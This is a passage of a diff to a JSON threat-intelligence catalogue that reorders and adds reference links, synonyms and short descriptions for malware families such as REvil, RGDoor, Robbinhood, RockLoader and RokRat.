"https://gist.githubusercontent.com/fwosar/a63e1249bfccb8395b961d3d780c0354/raw/312b2bbc566cbee2dac7b143dc143c1913ddb729/revil.json", + "https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/", + "https://areteir.com/wp-content/uploads/2020/07/Arete_Insight_Sodino-Ransomware_June-2020.pdf", + "https://russian.rt.com/russia/article/926347-barnaulec-rozysk-fbr-kibermoshennichestvo", + "https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel", + "https://www.elliptic.co/blog/revil-revealed-tracking-ransomware-negotiation-and-payment", + "https://securelist.com/ransomware-world-in-2021/102169/", + "https://blog.talosintelligence.com/2021/03/ctir-trends-winter-2020-21.html", + "https://ibm.ent.box.com/s/hs5pcayhbbhjvj8di5sqdpbbd88tsh89", + "https://www.advintel.io/post/storm-in-safe-haven-takeaways-from-russian-authorities-takedown-of-revil", + "https://home.treasury.gov/news/press-releases/jy0471", + "https://www.documentcloud.org/documents/21505031-hgsac-staff-report-americas-data-held-hostage-032422", + "https://vulnerability.ch/2021/04/ransomware-and-date-leak-site-publication-time-analysis/", + "https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload", + "https://www.connectwise.com/resources/revil-profile", + "https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf", + "https://blag.nullteilerfrei.de/2020/02/02/defeating-sodinokibi-revil-string-obfuscation-in-ghidra/", + "https://www.flashpoint-intel.com/blog/interview-with-revil-affiliated-ransomware-contractor/", + "https://unit42.paloaltonetworks.com/prometheus-ransomware/", + "https://www.advanced-intel.com/post/revil-vanishes-from-underground-infrastructure-down-support-staff-adverts-silent", + "https://news.sophos.com/en-us/2021/06/11/relentless-revil-revealed/", + "https://analyst1.com/file-assets/History-of-REvil.pdf", + "https://www.bleepingcomputer.com/news/security/revil-gang-tries-to-extort-apple-threatens-to-sell-stolen-blueprints/", + "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", + "https://sites.temple.edu/care/ci-rw-attacks/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://www.kaseya.com/potential-attack-on-kaseya-vsa/", + "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", + "https://krebsonsecurity.com/2019/07/is-revil-the-new-gandcrab-ransomware/", + "https://twitter.com/svch0st/status/1411537562380816384", + "https://www.splunk.com/en_us/pdfs/resources/whitepaper/an-empirically-comparative-analysis-of-ransomware-binaries.pdf", + "https://www.advanced-intel.com/post/from-qbot-with-revil-ransomware-initial-attack-exposure-of-jbs", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-says-travelex-will-pay-one-way-or-another/", + "https://ke-la.com/will-the-revils-story-finally-be-over/", + "https://news.sophos.com/en-us/2021/06/30/what-to-expect-when-youve-been-hit-with-revil-ransomware/", + "https://twitter.com/VK_Intel/status/1374571480370061312?s=20", + "https://us-cert.cisa.gov/ncas/current-activity/2021/07/04/cisa-fbi-guidance-msps-and-their-customers-affected-kaseya-vsa", + "https://twitter.com/SyscallE/status/1411074271875670022", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-revil", + "https://f.hubspotusercontent10.net/hubfs/5943619/Whitepaper-Downloads/Ransomware_in_ICS_Environments_Whitepaper_10_12_20.pdf", + "https://www.bleepingcomputer.com/news/security/a-look-inside-the-highly-profitable-sodinokibi-ransomware-business/", + "https://www.advanced-intel.com/post/adversarial-perspective-advintel-breach-avoidance-through-monitoring-initial-vulnerabilities", + "https://www.bleepingcomputer.com/news/security/ransomware-threatens-to-reveal-companys-dirty-secrets/", + "https://www.flashpoint-intel.com/blog/darkside-ransomware-links-to-revil-difficult-to-dismiss/", + "https://www.netskope.com/blog/netskope-threat-coverage-revil", + "https://medium.com/s2wlab/deep-analysis-of-revil-ransomware-written-in-korean-d1899c0e9317", + "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", + "https://www.accenture.com/us-en/blogs/cyber-defense/moving-left-ransomware-boom", + "https://documents.trendmicro.com/assets/rpt/rpt-navigating-new-frontiers-trend-micro-2021-annual-cybersecurity-report.pdf", + "https://securelist.com/revil-ransomware-attack-on-msp-companies/103075/", + "https://threatintel.blog/OPBlueRaven-Part1/", + "https://www.appgate.com/blog/electric-company-ransomware-attack-calls-for-14-million-in-ransom", + "https://www.flashpoint-intel.com/blog/possible-universal-revil-master-key-posted-to-xss/", + "https://www.secureworks.com/research/lv-ransomware", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations.pdf", + "https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf", + "https://www.secureworks.com/blog/revil-development-adds-confidence-about-gold-southfield-reemergence?linkId=164334801", + "https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights", + "https://www.crowdstrike.com/blog/how-falcon-complete-thwarted-a-revil-ransomware-attack/", + "https://blag.nullteilerfrei.de/2019/11/09/api-hashing-why-and-how/", + "https://cybersecurity.att.com/blogs/labs-research/revils-new-linux-version", + "https://www.fbi.gov/wanted/cyber/yevgyeniy-igoryevich-polyanin", + "https://twitter.com/LloydLabs/status/1411098844209819648", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", + "https://www.bleepingcomputer.com/news/security/kaseya-obtains-universal-decryptor-for-revil-ransomware-victims/", + "https://ke-la.com/zooming-into-darknet-threats-targeting-jp-orgs-kela/", + "https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/", + "https://www.fincen.gov/sites/default/files/advisory/2021-11-08/FinCEN%20Ransomware%20Advisory_FINAL_508_.pdf", + "https://therecord.media/an-interview-with-blackmatter-a-new-ransomware-group-thats-learning-from-the-mistakes-of-darkside-and-revil/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-hits-travelex-demands-3-million/", + "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://blog.morphisec.com/real-time-prevention-of-the-kaseya-vsa-supply-chain-revil-ransomware-attack", + "https://www.acronis.com/en-sg/articles/sodinokibi-ransomware/", + "https://www.bleepingcomputer.com/news/security/blackmatter-ransomware-gang-rises-from-the-ashes-of-darkside-revil/", + "https://tehtris.com/fr/peut-on-neutraliser-un-ransomware-lance-en-tant-que-system-sur-des-milliers-de-machines-en-meme-temps/", + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://blog.sensecy.com/2020/08/20/global-ransomware-attacks-in-2020-the-top-4-vulnerabilities/", + "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.elastic.co/blog/elastic-security-prevents-100-percent-of-revil-ransomware-samples?utm_content=&utm_medium=social&utm_source=twitter", + "https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/", + "https://www.youtube.com/watch?v=LUxOcpIRxmg", + "https://www.zdnet.com/article/revil-ransomware-gang-launches-auction-site-to-sell-stolen-data/", + "https://www.splunk.com/en_us/blog/security/revil-ransomware-threat-research-update-and-detections.html", + "https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-shuts-down-again-after-tor-sites-were-hijacked/", + "https://velzart.nl/blog/ransomeware/", + "https://www.justice.gov/opa/pr/sodinokibirevil-ransomware-defendant-extradited-united-states-and-arraigned-texas", + "https://blogs.blackberry.com/en/2021/05/threat-thursday-dr-revil-ransomware-strikes-again-employs-double-extortion-tactics", + "https://securityintelligence.com/posts/sodinokibi-ransomware-incident-response-intelligence-together/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/", + "https://hatching.io/blog/ransomware-part2", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.zdnet.com/article/revil-ransomware-gang-acquires-kpot-malware/", + "https://www.youtube.com/watch?v=l2P5CMH9TE0", + "https://twitter.com/VK_Intel/status/1411066870350942213", + "https://www.bleepingcomputer.com/news/security/revil-ransomwares-servers-mysteriously-come-back-online/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-may-tip-nasdaq-on-attacks-to-hurt-stock-prices/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-double-extortion-and-beyond-revil-clop-and-conti", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/kaseya-ransomware-supply-chain", + "https://twitter.com/R3MRUM/status/1412064882623713283", + "https://vimeo.com/449849549", + "https://www.goggleheadedhacker.com/blog/post/reversing-crypto-functions", + "https://www.flashpoint-intel.com/blog/cl0p-and-revil-escalate-their-ransomware-tactics/", + "https://www.darkowl.com/blog-content/page-not-found-revil-darknet-services-offline-after-attack-last-weekend", + "https://blog.group-ib.com/REvil_RaaS", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://therecord.media/i-scrounged-through-the-trash-heaps-now-im-a-millionaire-an-interview-with-revils-unknown/", + "https://www.flashpoint-intel.com/blog/revils-cryptobackdoor-con-ransomware-groups-tactics-roil-affiliates-sparking-a-fallout/", + "https://news.sophos.com/en-us/2021/06/30/mtr-in-real-time-hand-to-hand-combat-with-revil-ransomware-chasing-a-2-5-million-pay-day/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf", + "https://securityscorecard.com/research/a-detailed-analysis-of-the-last-version-of-revil-ransomware", + "https://www.bankinfosecurity.com/interviews/ransomware-files-episode-6-kaseya-revil-i-5045", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-hits-1-000-plus-companies-in-msp-supply-chain-attack/", + "https://www.secureworks.com/blog/revil-the-gandcrab-connection", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-gangs-web-sites-mysteriously-shut-down/", + "https://www.flashpoint-intel.com/blog/revil-disappears-again/", + "https://www.recordedfuture.com/blackmatter-ransomware-successor-darkside-revil/", + "https://www.secureworks.com/research/revil-sodinokibi-ransomware", + "https://therecord.media/ransomwhere-project-wants-to-create-a-database-of-past-ransomware-payments/", + "https://dissectingmalwa.re/germanwipers-big-brother-gandgrabs-kid-sodinokibi.html", + "https://twitter.com/AdamTheAnalyst/status/1409499591452639242?s=20", + "https://www.darktrace.com/en/blog/staying-ahead-of-r-evils-ransomware-as-a-service-business-model/", + "https://isc.sans.edu/diary/27012", + "https://awakesecurity.com/blog/threat-hunting-for-revil-ransomware/", + "https://www.goggleheadedhacker.com/blog/post/sodinokibi-ransomware-analysis", + "https://ke-la.com/ransomware-gangs-are-starting-to-look-like-oceans-11/", + "https://resources.malwarebytes.com/files/2020/02/2020_State-of-Malware-Report.pdf", + "https://www.secureworks.com/research/threat-profiles/gold-southfield", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.bbc.com/news/technology-59297187", + "https://ics-cert.kaspersky.com/media/KASPERSKY_H1_2020_ICS_REPORT_EN.pdf", + "https://unit42.paloaltonetworks.com/threat-brief-kaseya-vsa-ransomware-attacks/", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses", + "https://www.proofpoint.com/us/blog/threat-insight/first-step-initial-access-leads-ransomware", + "https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/", + "https://blog.gigamon.com/2021/07/08/observations-and-recommendations-from-the-ongoing-revil-kaseya-incident/", + "https://www.bleepingcomputer.com/news/security/new-jersey-synagogue-suffers-sodinokibi-ransomware-attack/", + "https://www.kpn.com/security-blogs/Tracking-REvil.htm", + "https://www.reuters.com/technology/exclusive-governments-turn-tables-ransomware-gang-revil-by-pushing-it-offline-2021-10-21/", + "https://blog.malwarebytes.com/threat-analysis/2020/11/german-users-targeted-with-gootkit-banker-or-revil-ransomware/", + "https://storage.courtlistener.com/recap/gov.uscourts.txnd.352371/gov.uscourts.txnd.352371.1.0_1.pdf", + "https://www.ironnet.com/blog/ransomware-graphic-blog", + "https://www.digitalshadows.com/blog-and-research/competitions-on-russian-language-cybercriminal-forums-sharing-expertise-or-threat-actor-showboating/", + "https://diicot.ro/mass-media/3341-comunicat-de-presa-2-08-11-2021", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://www.bleepingcomputer.com/news/security/revil-ransomware-returns-new-malware-sample-confirms-gang-is-back/", + "https://asec.ahnlab.com/ko/19640/", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Clarke-Its-Not-FINished-The-Evolving-Maturity-In-Ransomware-Operations-wp.pdf", + "https://redcanary.com/blog/uncompromised-kaseya/", + "https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/", + "https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout", + "https://www.grahamcluley.com/travelex-paid-ransom/", + "https://www.accenture.com/us-en/blogs/cyber-defense/evolving-danger-ransomware-extortion", + "https://drive.google.com/file/d/1ph1E0onZ7TiNyG87k4WjofCKNuCafMLk/view", + "https://threatpost.com/ransomware-revil-sites-disappears/167745/", + "https://blog.redteam.pl/2020/05/sodinokibi-revil-ransomware.html", + "https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-to-stop-taking-bitcoin-to-hide-money-trail/", + "https://www.pandasecurity.com/emailhtml/2007-CAM-RANSOMWARE-AD360-WG/2006-Report-Sodinokibi-EN.pdf", + "https://blog.talosintelligence.com/2019/04/sodinokibi-ransomware-exploits-weblogic.html", + "http://www.fsb.ru/fsb/press/message/single.htm%21id%3D10439388%40fsbMessage.html", + "https://www.trendmicro.com/en_us/research/21/a/sodinokibi-ransomware.html", + "https://thehackernews.com/2022/03/ukrainian-hacker-linked-to-revil.html", + "https://www.bleepingcomputer.com/news/security/fbi-revil-cybergang-behind-the-jbs-ransomware-attack/", + "https://twitter.com/fwosar/status/1420119812815138824", + "https://www.domaintools.com/resources/blog/the-most-prolific-ransomware-families-a-defenders-guide", + "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", + "https://www.secureworks.com/blog/revil-ransomware-reemerges-after-shutdown-universal-decryptor-released", + "https://twitter.com/fwosar/status/1411281334870368260", + "http://www.secureworks.com/research/threat-profiles/gold-southfield", + "https://asec.ahnlab.com/ko/19860/", + "https://twitter.com/Jacob_Pimental/status/1391055792774729728", + "https://www.splunk.com/en_us/blog/security/kaseya-sera-what-revil-shall-encrypt-shall-encrypt.html", + "https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/", + "https://searchsecurity.techtarget.com/feature/Ransomware-negotiations-An-inside-look-at-the-process", + "https://www.cyjax.com/2021/07/09/revilevolution/", + "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/", + "https://therecord.media/us-arrests-and-charges-ukrainian-man-for-kaseya-ransomware-attack/", + "https://twitter.com/Jacob_Pimental/status/1398356030489251842?s=20", + "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", + "https://twitter.com/SophosLabs/status/1412056467201462276", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-publishes-stolen-data-for-the-first-time/", + "https://ke-la.com/darknet-threat-actors-are-not-playing-games-with-the-gaming-industry/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.bleepingcomputer.com/news/security/sodinokibi-ransomware-threatens-to-publish-data-of-automotive-group/", + "https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html", + "https://ke-la.com/how-ransomware-gangs-find-new-monetization-schemes-and-evolve-in-marketing/", + "https://www.trendmicro.com/en_us/research/22/g/gootkit-loaders-updated-tactics-and-fileless-delivery-of-cobalt-strike.html", + "https://ke-la.com/to-attack-or-not-to-attack-targeting-the-healthcare-sector-in-the-underground-ecosystem/", + "https://www.youtube.com/watch?v=tZVFMVm5GAk", + "https://www.digitalshadows.com/blog-and-research/revil-analysis-of-competing-hypotheses/" ], "synonyms": [ "Sodin", @@ -36053,15 +38000,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor", - "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", "https://www.welivesecurity.com/2021/08/06/anatomy-native-iis-malware/", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", - "https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", - "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", - "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", - "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", - "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf", + "https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware.pdf", + "https://www.secureworks.com/research/threat-profiles/cobalt-lyceum", + "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/", + "https://www.secureworks.com/blog/ongoing-campaign-leveraging-exchange-vulnerability-potentially-linked-to-iran", + "https://drive.google.com/file/d/1oA4YSwXLxEF-EXJcrM76Bc4_7ZfBGYE4/view", + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", "https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/" ], "synonyms": [], @@ -36102,8 +38049,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rietspoof", "https://www.virusbulletin.com/virusbulletin/2020/01/vb2019-paper-spoofing-reeds-rietspoof/", - "https://decoded.avast.io/threatintel/spoofing-in-the-reeds-with-rietspoof/", - "https://blog.avast.com/rietspoof-malware-increases-activity" + "https://blog.avast.com/rietspoof-malware-increases-activity", + "https://decoded.avast.io/threatintel/spoofing-in-the-reeds-with-rietspoof/" ], "synonyms": [], "type": [] @@ -36171,10 +38118,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rising_sun", - "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/" + "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [], "type": [] @@ -36182,17 +38129,31 @@ "uuid": "148a7078-3a38-4974-8990-9d5881f8267b", "value": "Rising Sun" }, + { + "description": "Created from the codebase of Gozi/ISFB.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.rm3", + "https://research.nccgroup.com/2021/05/04/rm3-curiosities-of-the-wildest-banking-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "dec5b601-16b5-439a-8b2a-4ebc7ec31de5", + "value": "RM3" + }, { "description": "CyberInt states that Remote Manipulator System (RMS) is a legitimate tool developed by Russian organization TektonIT and has been observed in campaigns conducted by TA505 as well as numerous smaller campaigns likely attributable to other, disparate, threat actors. In addition to the availability of commercial licenses, the tool is free for non-commercial use and supports the remote administration of both Microsoft Windows and Android devices.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rms", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", - "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf", - "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", "https://blog.malwarebytes.com/threat-analysis/2017/09/cve-2017-0199-used-to-deliver-modified-rms-agent-rat/", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", "https://blog.yoroi.company/research/ta505-is-expanding-its-operations/", + "https://ics-cert.kaspersky.com/media/Kaspersky-Attacks-on-industrial-enterprises-using-RMS-and-TeamViewer-EN.pdf", "https://web.archive.org/web/20161223002016/https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://e.cyberint.com/hubfs/Report%20Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors%20Tools/CyberInt_Legit%20Remote%20Access%20Tools%20Turn%20Into%20Threat%20Actors'%20Tools_Report.pdf", "https://awakesecurity.com/blog/catching-the-white-stork-in-flight/" ], "synonyms": [ @@ -36209,25 +38170,25 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.robinhood", + "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", "https://download.microsoft.com/download/f/8/1/f816b8b6-bee3-41e5-b6cc-e925a5688f61/Microsoft_Digital_Defense_Report_2020_September.pdf", + "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", + "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", + "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/", + "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", + "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", + "https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/", + "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", + "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/", + "https://twitter.com/VK_Intel/status/1121440931759128576", "https://www.bleepingcomputer.com/news/security/ransomware-exploits-gigabyte-driver-to-kill-av-processes/", "https://www.sentinelone.com/blog/robinhood-ransomware-coolmaker-function-not-cool/", - "https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf", - "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/", "https://krebsonsecurity.com/2019/06/report-no-eternal-blue-exploit-found-in-baltimore-city-ransomware/", - "https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://arstechnica.com/information-technology/2019/05/baltimore-city-government-hit-by-robbinhood-ransomware/", - "https://news.sophos.com/en-us/2020/02/06/living-off-another-land-ransomware-borrows-vulnerable-driver-to-remove-security-software/", - "https://www.boll.ch/datasheets/WG_Threat_Report_EN.pdf", - "https://statescoop.com/baltimore-ransomware-crowdstrike-extortion/", "https://goggleheadedhacker.com/blog/post/12", - "https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/", - "https://twitter.com/VK_Intel/status/1121440931759128576", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/", - "https://www.bleepingcomputer.com/news/security/a-closer-look-at-the-robbinhood-ransomware/", - "https://blogs.quickheal.com/a-new-ransomware-goodwill-hacks-the-victims-for-charity-read-more-to-know-more-about-this-ransomware-and-how-it-affects-its-victims/" + "https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/" ], "synonyms": [ "RobbinHood" @@ -36256,10 +38217,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware", "https://intel471.com/blog/a-brief-history-of-ta505", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/" + "https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [], "type": [] @@ -36284,11 +38245,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.roguerobin", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", "https://ti.360.net/blog/articles/latest-target-attack-of-darkhydruns-group-against-middle-east-en/", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/" + "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", + "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/", + "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", + "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/" ], "synonyms": [], "type": [] @@ -36314,30 +38275,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat", - "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", - "https://kindredsec.wordpress.com/2019/08/12/an-overview-of-public-platform-c2s/", - "https://github.com/ssp4rk/slides/blob/master/2019SAS_Behind_of_the_Mask_of_ScarCruft.pdf", - "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/", "http://v3lo.tistory.com/24", - "https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/", + "https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf", "http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf", - "http://blog.talosintelligence.com/2017/04/introducing-rokrat.html", - "https://medium.com/s2wlab/matryoshka-variant-of-rokrat-apt37-scarcruft-69774ea7bf48", - "https://www.ptsecurity.com/ww-en/analytics/antisandbox-techniques/", - "http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html", - "https://www.picussecurity.com/blog/picus-10-critical-mitre-attck-techniques-t1055-process-injection", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", - "https://www.youtube.com/watch?v=uoBQE5s2ba4", - "https://securelist.com/apt-trends-report-q2-2019/91897/", - "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/", - "https://www.ibm.com/downloads/cas/Z81AVOY7", - "https://kindredsec.com/2019/08/12/an-overview-of-public-platform-c2s/", - 